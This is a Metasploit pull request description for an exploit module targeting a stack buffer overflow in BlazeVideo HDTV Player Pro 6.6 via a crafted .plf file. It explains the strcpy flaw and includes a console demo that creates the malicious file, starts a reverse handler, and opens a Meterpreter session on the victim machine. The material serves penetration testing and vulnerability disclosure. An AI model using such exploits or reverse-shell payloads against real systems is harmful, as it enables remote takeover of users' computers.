rapid7/metasploit-framework — pull request #1112 by wchen-r7 (2012-11-30 08:15:56+00:00)
Title: Add OSVDB-80896 BlazeVideo HDTV Player Pro 6.6 Buffer Overflow

This module exploits a vulnerability found in BlazeVideo HDTV Player's filename handling routine. When supplying a string of input data embedded in a .plf file,
the MediaPlayerCtrl.dll component will try to extract a filename by using PathFindFileNameA(), and then copies whatever the return value is on the stack by
using an inline strcpy. As a result, if this input data is long enough, it can cause a stack-based buffer overflow, which may lead to arbitrary code execution under the
context of the user.

Demo (DisablePayloadHandler=false):

msf exploit(blazedvd_hdtv_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.0.1.3:4444
[*] Creating 'msf.plf'...
[+] msf.plf stored at /Users/sinn3r/.msf4/local/msf.plf
[*] Sending stage (752128 bytes) to 10.0.1.7
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.7:49159) at 2012-11-30 02:12:50 -0600

meterpreter >